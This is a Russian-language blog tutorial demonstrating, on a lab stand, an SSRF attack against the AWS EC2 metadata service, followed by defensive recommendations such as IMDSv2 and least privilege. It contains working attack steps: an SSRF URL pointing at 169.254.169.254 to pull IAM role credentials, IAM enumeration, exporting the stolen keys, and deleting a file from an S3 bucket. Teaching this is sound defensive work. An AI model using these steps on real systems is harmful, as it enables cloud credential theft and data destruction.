Сегодня предлагаю тебе узнать, как одна уязвимость в веб-приложении может открыть злоумышленникам доступ к секретам всего облака. Не слабо, да!? Мы разберем механизм атаки через SSRF на службу метаданных EC2, покажем реальные примеры из практики и дадим конкретные рекомендации по защите, включая переход на IMDSv2 и принцип наименьших привилегий. Ну, что welcome на стенд!

SSRF - Невидимая угроза изнутри

Безопасность облачной инфраструктуры часто сравнивают с защитой периметра, но что, если угроза таится внутри? Server-Side Request Forgery (SSRF) — это уязвимость, которая позволяет атакующему заставить сервер делать HTTP-запросы от своего имени. В контексте облачных сред, таких как Amazon Web Services (AWS), успешная SSRF-атака может привести к компрометации не просто одного сервера, а всей облачной учетной записи.

Цель этой статьи — детально разобрать, как злоумышленники используют SSRF для кражи временных учётных данных через Service Metadata Service (IMDS), и какие практические шаги можно предпринять для построения эффективной обороны.

Что такое IMDS и почему он — лакомая цель?

Instance Metadata Service (IMDS) — это служба, доступная на каждом EC2-инстансе по link-local адресу 169.254.169.254. Она возвращает сведения о конфигурации и сети, а главное — временные учётные данные IAM-роли, привязанной к инстансу.

Эти временные ключи позволяют обращаться к AWS-сервисам (S3, DynamoDB, EC2 и др.) в рамках прав, заданных IAM-ролью. По замыслу, доступ к IMDS возможен только с самой виртуальной машины. Однако если на инстансе работает уязвимое к SSRF приложение, атакующий может прокинуть запросы к IMDS «через» приложение — как будто они исходят от сервера.

ДЕМО. Эксплуатация уязвимости на стенде

Что получает злоумышленник при наличии SSRF?
Он может обратиться к IMDS и получить временные учётные данные прикреплённой роли, а затем — провести разведку IAM-пользователей, групп и политик, найти ошибки конфигурации и подготовить эскалацию привилегий.

Разведка профиля с помощью Python-скрипта. Погнали!

Запускаем условный скрипт enumerate-iam.py, используя временные ключи пользователя с ограниченными правами gc_editor:

python enumerate-iam.py --access-key AKIAEXAMPLEGC123 --secret-key wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE
Figure 1 — IAM enumeration
Figure 1 — IAM enumeration

Фрагмент журнала:

2025-11-02 17:00:54,415 - [INFO] Starting permission enumeration for access-key-id "AKIAEXAMPLEGC123"
2025-11-02 17:01:16,205 - [INFO] get_account_authorization_details succeeded
2025-11-02 17:01:16,213 - [INFO] ...

Из вывода видно, что у пользователя gc_editor прикреплены политики, например:

  • AmazonEC2FullAccess — полный контроль над EC2;

  • IAMReadOnlyAccess — чтение IAM-объектов;

  • AmazonS3ReadOnlyAccess — чтение S3.

    Figure 2 — IAM user details
    Figure 2 — IAM user details

Также обнаружен профиль инстанса с ролью, обладающей высокими правами.

Figure 3 — Instance profile and role policies
Figure 3 — Instance profile and role policies

Кража учётных данных EC2 через SSRF

Шаг 1. Разведка EC2-инстансов

После настройки AWS CLI временными данными можно взаимодействовать со средой прямо из терминала:

aws configure
# AWS Access Key ID: AKIAEXAMPLEGC123
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE
# Default region name: us-east-1
# Default output format: json
Figure 4 — AWS configure
Figure 4 — AWS configure

Перечислим инстансы и их состояния:

aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[Tags[?Key==`Name`]|[0].Value, State.Name]' \
  --output text
# gc-web1     terminated
# gc-server   stopped
Figure 5 — EC2 instance states
Figure 5 — EC2 instance states

Выведем имена и Instance IDs:

aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value | [0], InstanceId]' \
  --output text
# gc-web1     i-0abc1234def567890
# gc-server   i-0123456789abcdef0
Figure 6 — EC2 instance IDs
Figure 6 — EC2 instance IDs

Запустим остановленный инстанс:

aws ec2 start-instances --instance-ids i-0123456789abcdef0

Проверим, что состояние изменилось:

aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value[0], State.Name]' \
  --output text
# gc-web1     terminated
# gc-server   running

Все Ок. Получим публичный IP работающего инстанса (в демо — веб-приложение, уязвимое к SSRF, доступно по 203.0.113.42):

aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress" --output text
# 203.0.113.42

Шаг 2. Эксплуатация SSRF

В браузере открываем демо-приложение на http://203.0.113.42/. Уязвимый эндпоинт принимает URL и запрашивает его от имени сервера.
Цель злоумышленника — заставить приложение обратиться к IMDS на 169.254.169.254 и получить список метаданных:

http://203.0.113.42/fetch.php?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
Figure 7 — SSRF app home
Figure 7 — SSRF app home

Ответ обычно включает категории: ami-idhostnameiam/security-groups, и др.

Далее запрашивается раздел iam/security-credentials/, чтобы узнать имя роли, а затем — JSON с временными ключами этой роли. В учебной среде это роль gc-ec2-maint.

Figure 8 — IMDS metadata
Figure 8 — IMDS metadata

(Полезные нагрузки и адреса приведены в обезвреженном виде; не используйте их против чужих систем.)


Эскалация привилегий через IAM-роль (gc-ec2-maint)

Попробуем удалить файл secrets.txt в бакете. Сначала это может не получиться из-за недостаточных прав прежних ключей:

aws s3 ls s3://gc-bucket/
aws s3 rm s3://gc-bucket/secrets.txt

Экспортируем временные креды, полученные через IMDS (пример санитизирован):

export AWS_ACCESS_KEY_ID=AKIAEXAMPLEGC123
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj...<snip>..."
Figure 9 — Exporting temporary credentials
Figure 9 — Exporting temporary credentials

С новыми правами роли gc-ec2-maint удаление проходит успешно:

aws s3 rm s3://gc-bucket/secrets.txt
aws s3 ls s3://gc-bucket/

Подтвердим «кто мы» в текущей сессии:

aws sts get-caller-identity
# "Arn": "arn:aws:sts::123456789012:assumed-role/gc-ec2-maint/i-0123456789abcdef0"
Figure 10 — S3 delete & STS identity
Figure 10 — S3 delete & STS identity

Отлично, дело сделано!

Что можно сделать с украденными credentials?

Ущерб зависит от уровня привилегий роли, прикреплённой к инстансу:

  • Кража данных. При правах чтения из Amazon S3 злоумышленник может скачать конфиденциальные данные.

  • Латеральное перемещение. Комбинируя права и сервисы, атакующий исследует ресурсы всего аккаунта. Риск эксплуатации еще "каких-нибудь" дыр.

  • Криптомайнинг / удалённое выполнение. Имея широкие права (например, ec2:RunInstances), можно развернуть ресурсоёмкие задачи или выполнять произвольный код.

  • Полная компрометация. Роли с админ-политиками открывают практически полный контроль над средой.


Как закрыть уязвимость?

Нужен комплексный подход: конфигурация облака, код приложения и процессы управления доступом.

1) Принудительный переход на IMDSv2 (ключевая мера)

IMDSv2 использует сессионную модель: сначала PUT для получения токена, далее — передача токена в заголовке каждого запроса. Это блокирует большинство простых SSRF-сценариев. После миграции рекомендуется полностью отключить IMDSv1. Это самое простое и быстрое решение.

2) Строгая валидация пользовательского ввода

Не доверяйте входящим данным. Вместо чёрного списка «плохих» адресов используйте белый список (allowlist) доменов/URL, к которым может обращаться приложение. Отклоняйте нестандартные схемы (file://gopher://, и т. п.) и обращения к внутренним адресам. Это must have для всей облачной инфраструктуры в продакшене!

3) Принцип наименьших привилегий (PoLP)

Назначайте инстансам минимально необходимый набор прав. Регулярно проводите аудит IAM-политик. Это не предотвратит кражу, но значительно ограничит ущерб. Базовое требование, must have для DevSecOps

4) Сетевые меры контроля

Ограничивайте исходящий трафик группами безопасности (Security Groups) и сетевыми ACL. Помните: IMDS — link-local сервис, обычно доступный без ограничений; для критичных систем обеспечьте изоляцию во VPC и дополнительные правила.

Заключение

SSRF в сочетании с доступной службой метаданных EC2 — это опасный дуэт, способный привести к масштабной утечке данных и компрометации облачной инфраструктуры. Осознание этого вектора атаки — первый шаг к защите. Ключевые меры, такие как обязательное использование IMDSv2, строгая валидация ввода и соблюдение принципа наименьших привилегий для IAM-ролей, позволяют создать глубоко эшелонированную оборону и свести риски к минимуму.

Безопасность — это непрерывный процесс, и защита метаданных ваших инстансов должна быть одним из его приоритетов.

Ссылки на документацию

Для более глубокого изучения официальных рекомендаций AWS по безопасности, ознакомьтесь с этими материалами:

  1. AWS Documentation: Обзор IMDS — общее описание службы метаданных.

  2. AWS Security Blog: Внедрение IMDSv2 — официальный блог, объясняющий важность и механизм работы второй версии IMDS.

  3. AWS Documentation: Настройка IMDSv2 — практическое руководство по принудительному включению IMDSv2.

  4. AWS Documentation: IAM Roles for EC2 — как работать с IAM-ролями для сервиса EC2.

  5. AWS Well-Architected Framework: Security Pillar — общие принципы безопасности в AWS, включая лучшие практики для IAM и EC2.

Комментарии (0)